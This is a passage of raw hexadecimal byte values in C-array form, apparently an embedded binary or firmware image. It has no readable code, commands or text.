0x84, 0xE4, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0xC4, 0x84, 0xEC, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x54,
0x84, 0xF4, 0x66, 0xD8, 0x84, 0x92, 0x4B, 0x1B, 0x43, 0xFC, 0x66, 0xD8, 0x84, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x2A, 0x00,
0x00, 0x62, 0x08, 0x28, 0x00, 0xEC, 0x88, 0x6D, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0x00, 0x10, 0x08, 0x58, 0x08, 0x48, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x30, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xF1, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x30, 0x00, 0x08,
0x00, 0x30, 0x00, 0x08, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,
0x00, 0x00, 0x20, 0x00, 0x00, 0x71, 0x77, 0x00, 0x00, 0x08, 0x00, 0x00, 0x20, 0x00, 0x00, 0x20,
0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x02, 0x00,
0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00,
0x00, 0x25, 0x00, 0x00, 0x00, 0x83, 0x01, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xA3, 0x2B, 0xC3, 0xA3, 0x00, 0x00, 0x00, 0xE5, 0x58, 0x00,
0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x43, 0x71, 0x93, 0x23,
0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x42, 0x71, 0x23, 0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x46, 0x4A, 0x72, 0x4A,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00,
0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x17, 0x71, 0x93, 0x2B, 0x63, 0x7B, 0x1B, 0x00, 0x00, 0x17, 0x00, 0x00,
0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x81, 0x5C, 0x2A, 0x60,
0x82, 0x47, 0xFA, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x6A, 0x87, 0x5C, 0x8A, 0x20, 0x4C,
0xAA, 0x67, 0x5C, 0x2A, 0x67, 0x1C, 0x06, 0x81, 0x4C, 0x2A, 0xA7, 0x3E, 0x2A, 0xC7, 0x00, 0x00,
0x00, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x87, 0x78, 0xB5, 0x88, 0x1C,
0xD7, 0x78, 0x78, 0x2C, 0x58, 0x10, 0x00, 0x00, 0x1C, 0xEB, 0x67, 0x00, 0x78, 0x24, 0x08, 0x10,
0x00, 0x00, 0x5C, 0x2A, 0x67, 0x78, 0xB5, 0x42, 0x10, 0x2C, 0x4E, 0x78, 0x2C, 0x97, 0x08, 0x00,
0x00, 0x5C, 0xAA, 0x67, 0x54, 0x12, 0x50, 0x44, 0x2A, 0x47, 0x04, 0xEB, 0x47, 0x50, 0xA3, 0xC8,
0x04, 0xEB, 0x47, 0x60, 0x78, 0x24, 0xC4, 0x00, 0x00, 0x00, 0x04, 0xEB, 0x47, 0x80, 0x78, 0x24,
0xC8, 0x08, 0x00, 0x00, 0x4F, 0x56, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x0A, 0x10,
0x0E, 0x07, 0xC0, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x18, 0x0E, 0x0F, 0x80, 0x18, 0x0E, 0x5C,
0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x20, 0x0E, 0x0F, 0x40, 0x18, 0x0E, 0x5C, 0xAA, 0xA7, 0x78, 0xB5,
0x52, 0x28, 0x18, 0x0E, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA,
0xE7, 0x8D, 0x48, 0x47, 0x5C, 0x40, 0x00, 0x00, 0x4C, 0x2A, 0x07, 0x4C, 0xAA, 0x27, 0x5C, 0xAA,
0x27, 0xD9, 0xA8, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x2A, 0x07, 0xD9, 0x28,
0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x09, 0x1C, 0xEB, 0xE7, 0x00,
0xAB, 0xD8, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x88, 0x1C, 0xD7, 0x51, 0xAB, 0x80, 0x5C, 0x2A, 0x67,
0x3E, 0x02, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x36, 0x08, 0x41, 0x4F, 0x0A, 0x08,
0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x12, 0x10, 0x0E, 0x07, 0xC0, 0x5C, 0x6A, 0xA7, 0x78,
0xB5, 0x8A, 0x18, 0x0E, 0x17, 0x80, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E,
0x17, 0x40, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0xCC, 0x4C, 0x2A,
0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x10, 0x40, 0x00,
0x00, 0x4C, 0x2A, 0xC6, 0x4C, 0xAA, 0xE6, 0x5C, 0x2A, 0xE6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00,
0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x6A, 0xC6, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C,
0xEB, 0xC7, 0x00, 0xAB, 0x19, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5,
0x10, 0xE9, 0x55, 0x00, 0x00, 0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00,
0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x36, 0x10, 0x45, 0x4F, 0xB5, 0x00, 0x00, 0x00, 0x5C, 0x2A, 0xA7,
0x78, 0xB5, 0x02, 0x10, 0x0E, 0x07, 0xC1, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x18, 0x0E, 0x17,
0x81, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E, 0x17, 0x41, 0x18, 0x16, 0x5C,
0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x30, 0x1C,
0x0E, 0x01, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x38, 0x1C, 0x0E, 0xC0, 0x9E, 0x07,
0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x40, 0x1C, 0x0E, 0x80, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78,
0xB5, 0x52, 0x48, 0x1C, 0x0E, 0x40, 0x9E, 0x07, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C,
0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x3A, 0x38, 0x00, 0x00, 0x4C, 0x2A, 0x86, 0x4C,
0xAA, 0xA6, 0x5C, 0x2A, 0xA6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C,
0x6A, 0x86, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x19,
0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x10, 0xE9, 0x54, 0x00, 0x00,
0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0xAA, 0xA7,
0x36, 0x10, 0x44, 0x1C, 0xE9, 0x40, 0x81, 0x08, 0x00, 0x00, 0xA3, 0x70, 0x5C, 0x2A, 0x60, 0x82,
0x5C, 0x6A, 0x40, 0x8A, 0xFF, 0xA8, 0x40, 0x81, 0x08, 0x00, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00,
0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x8A, 0x5C, 0x2A, 0x40, 0x78, 0xF5,
0x42, 0x19, 0x5C, 0xAA, 0x40, 0x78, 0xF5, 0x12, 0x11, 0x1C, 0x06, 0x08, 0xD9, 0x46, 0xF3, 0x01,
0x53, 0x00, 0x43, 0xA8, 0xDA, 0x00, 0x00, 0x43, 0x06, 0xC8, 0x08, 0x00, 0x43, 0x84, 0xC8, 0x08,
0x00, 0xFF, 0xA8, 0x20, 0x01, 0x08, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x38,
0x3E, 0x2A, 0xE7, 0x08, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x40, 0x5C, 0x0A, 0x03, 0x5C, 0x2F, 0xEA,
0x16, 0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0xC1, 0x3E, 0x2A, 0x87,
0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x33, 0x4C, 0x2A, 0x47, 0x99, 0x4E, 0x4C, 0x6A, 0x57, 0x33,
0x4C, 0x6A, 0x77, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xA6, 0x4C,
0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA, 0x27, 0x3E, 0x2A, 0x46, 0x00, 0x00,
0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x66, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A,
0xE7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xEB, 0x40, 0x00,
0xA3, 0x30, 0x1C, 0xEB, 0x60, 0x00, 0xAB, 0x50, 0xC5, 0x08, 0x00, 0x00, 0x06, 0x4F, 0x50, 0x08,
0x00, 0x00, 0x43, 0x82, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0x47, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08,
0x00, 0x3E, 0x2A, 0x86, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x3E,
0x2A, 0xE6, 0x02, 0x00, 0x00, 0x00, 0x6C, 0xAA, 0x47, 0x4C, 0xAA, 0xC6, 0x3E, 0x2A, 0x07, 0x00,
0x00, 0x00, 0x00, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02,
0x53, 0x08, 0x53, 0x18, 0x43, 0x04, 0x00, 0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C,
0x6A, 0x86, 0x8A, 0x53, 0x18, 0x6C, 0xAA, 0xC7, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C,
0x2A, 0x87, 0x5C, 0x2A, 0x87, 0x0E, 0x47, 0xF0, 0x1C, 0xC7, 0x18, 0xAB, 0xD8, 0x5C, 0x6A, 0x87,
0x8A, 0x43, 0x01, 0xD0, 0x08, 0x00, 0x47, 0x25, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x40, 0x5C, 0x2A,
0x87, 0x4F, 0x34, 0x00, 0x00, 0x00, 0x5F, 0xE1, 0x53, 0x00, 0x6C, 0xAA, 0xE7, 0x92, 0x53, 0x00,
0x0D, 0xC0, 0x01, 0x08, 0x00, 0x5C, 0x40, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x80, 0x5C, 0xAA, 0xC7,
0x92, 0xFF, 0xA8, 0xA0, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x2A, 0xC7, 0x82, 0xFF, 0xA8,
0x80, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x87, 0x0E, 0x4F, 0xF0, 0x1C, 0xCF, 0x18, 0xAB, 0x28, 0x5C,
0x2A, 0x87, 0x5F, 0x42, 0x5C, 0xAA, 0xE7, 0x5C, 0x12, 0x20, 0x82, 0xFF, 0xA8, 0x60, 0x01, 0x08,
0x00, 0x4C, 0x2A, 0xA7, 0x5C, 0x6A, 0xE7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0xA7,
0x00, 0xAB, 0xA0, 0x43, 0x87, 0xC8, 0x08, 0x00, 0x47, 0x91, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x20,
0xC5, 0x06, 0x00, 0x00, 0x06, 0x5F, 0xA8, 0x5C, 0x6A, 0x40, 0x5C, 0xAA, 0xA7, 0x5C, 0x12, 0x40,
0x1C, 0x06, 0x81, 0x3C, 0x40, 0x5C, 0xAA, 0x60, 0x4C, 0x50, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16,
0x40, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x01, 0x3E, 0x2A, 0xA7,
0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xC7, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x6A, 0x07,
0x8A, 0xFF, 0xA8, 0xA1, 0x01, 0x08, 0x00, 0x6C, 0xAA, 0xA7, 0x92, 0x6C, 0x2A, 0x07, 0x82, 0x6C,
0x6A, 0xA0, 0x8A, 0x5C, 0xAA, 0xE0, 0x92, 0x5C, 0x2A, 0x80, 0x82, 0x5C, 0x6A, 0x40, 0x8A, 0x78,
0xB5, 0xAA, 0x60, 0x92, 0xFF, 0xA8, 0x81, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0xE7, 0x1C, 0xEB, 0xE7,
0x00, 0xAB, 0x38, 0xC5, 0xD4, 0x00, 0x00, 0x06, 0x5F, 0x99, 0x5C, 0xAA, 0xE7, 0x5C, 0x6A, 0x40,
0xFF, 0xA8, 0x61, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x0C, 0xEB, 0x87, 0x18, 0x08, 0x00, 0x00,
0xAB, 0xC0, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x07, 0x82, 0xFF, 0xA8,
0x41, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0x4C, 0x6A, 0x87, 0x5C, 0x2A, 0x87, 0x5C, 0x2F, 0xEA,
0x16, 0xC0, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x03, 0x99, 0x06, 0x33,
0x4C, 0x2A, 0xA5, 0x99, 0x4E, 0x4C, 0x6A, 0xB5, 0x33, 0x4C, 0x6A, 0xD5, 0x3E, 0x2A, 0xA6, 0x00,
0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA,
0x27, 0x4C, 0xAA, 0x47, 0x3E, 0x2A, 0x45, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x65,
0x3E, 0x2A, 0x87, 0x00, 0x00, 0x00, 0x00, 0x99, 0x4E, 0x4C, 0x6A, 0xA7, 0x3E, 0x2A, 0xE5, 0x00,
0x00, 0x00, 0x00, 0x3E, 0x2A, 0x46, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x26, 0x00, 0x00, 0x00,
0x00, 0x3E, 0x2A, 0x66, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x99,
0x96, 0x4C, 0xAA, 0xE7, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x06, 0x00, 0x00,
0x00, 0x00, 0x3E, 0x2A, 0x87, 0x03, 0xCB, 0xF7, 0xFF, 0x3E, 0x2A, 0xA7, 0xFF, 0xFF, 0xFF, 0xFF,
0x6C, 0x2A, 0x87, 0x82, 0x53, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xA2, 0x01, 0x08, 0x00, 0x3E, 0x2A,
0xA6, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x07, 0x02,
0x10, 0x00, 0x00, 0x6C, 0x6A, 0xA5, 0x4C, 0x6A, 0xE6, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00,
0x3E, 0x2A, 0x47, 0x00, 0x00, 0x00, 0x00, 0x43, 0x83, 0xD8, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92,
0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x2A, 0xA6, 0x82, 0xFF, 0xA8, 0x82, 0x01, 0x08, 0x00,
0x4C, 0x2A, 0x46, 0x43, 0x87, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01,
0x08, 0x00, 0x6C, 0xAA, 0xA6, 0x92, 0x53, 0x10, 0x6C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x62, 0x01,
0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0xA1, 0x43, 0x07, 0xD0, 0x08, 0x00,
0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x53, 0xB0, 0x43, 0x06, 0xD0, 0x08,
0x00, 0x53, 0x08, 0x53, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x42,
0x01, 0x08, 0x00, 0x5C, 0x6A, 0xE5, 0x8A, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x5F, 0x28, 0x4F,
0x62, 0xFF, 0xFF, 0xFF, 0x43, 0x05, 0xD0, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0xFF, 0xA8, 0x21,
0x01, 0x08, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x01, 0x53, 0x18, 0x53, 0x00, 0x43, 0x04, 0x00,
0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C, 0x6A, 0xA6, 0x8A, 0x43, 0x00, 0x00, 0x00,
0x02, 0x6C, 0xAA, 0xE5, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB,
0x46, 0x00, 0xEB, 0x28, 0x4F, 0x38, 0xFF, 0xFF, 0xFF, 0x43, 0x04, 0xD0, 0x08, 0x00, 0x6C, 0x2A,
0xA5, 0x82, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x6A, 0x26, 0x8A, 0x53, 0x00, 0x53, 0x00,
0x5C, 0xA8, 0x22, 0x01, 0x08, 0x00, 0x5C, 0x10, 0x82, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02, 0x6C,
0x6A, 0xA5, 0x8A, 0x47, 0x9D, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x46, 0x5C, 0x6A, 0x26, 0xFF, 0xA8,
0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x61, 0x5C, 0xAA, 0x26, 0x5C, 0x12, 0x20,
0x4C, 0x2A, 0x66, 0x1C, 0xEB, 0x66, 0x00, 0xA3, 0xE8, 0x5C, 0x6A, 0x66, 0x1C, 0xCB, 0x61, 0x38,
0xAB, 0x48, 0x5C, 0xAA, 0x66, 0x4C, 0xA8, 0x60, 0x81, 0x08, 0x00, 0x5C, 0x2A, 0x66, 0x5C, 0x42,
0x60, 0x4C, 0x6A, 0x66, 0x5F, 0xEE, 0x1C, 0xE9, 0x60, 0x81, 0x08, 0x00, 0x00, 0x78, 0x24, 0x05,
0x08, 0x00, 0x00, 0x43, 0x00, 0x80, 0x00, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xE1, 0x01, 0x08, 0x00,
0x4C, 0x2A, 0x86, 0x5C, 0xAA, 0x86, 0x0C, 0x16, 0x00, 0x20, 0x00, 0x00, 0x4C, 0xAA, 0x06, 0x1C,
0xEB, 0x86, 0x00, 0xA3, 0x09, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x2A, 0x65, 0x82, 0x5C, 0x6A,
0x45, 0x8A, 0x5C, 0xAA, 0x86, 0x92, 0x53, 0x18, 0x0D, 0x60, 0x81, 0x08, 0x00, 0x82, 0x47, 0x11,
0xEF, 0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x86, 0x00, 0x78, 0x24, 0x9A, 0x08, 0x00, 0x00,
0x1C, 0xEB, 0x46, 0x00, 0x78, 0x64, 0x4A, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0x86, 0x78, 0xB5, 0x8C,
0xF7, 0x08, 0x00, 0x00, 0x1C, 0xD7, 0xAA, 0x78, 0x2C, 0xB1, 0x08, 0x00, 0x00, 0x5C, 0x2A, 0x86,
0x78, 0xB5, 0x44, 0xFF, 0x08, 0x00, 0x00, 0x0C, 0xCF, 0x55, 0x00, 0x00, 0x00, 0x78, 0x2C, 0x01,
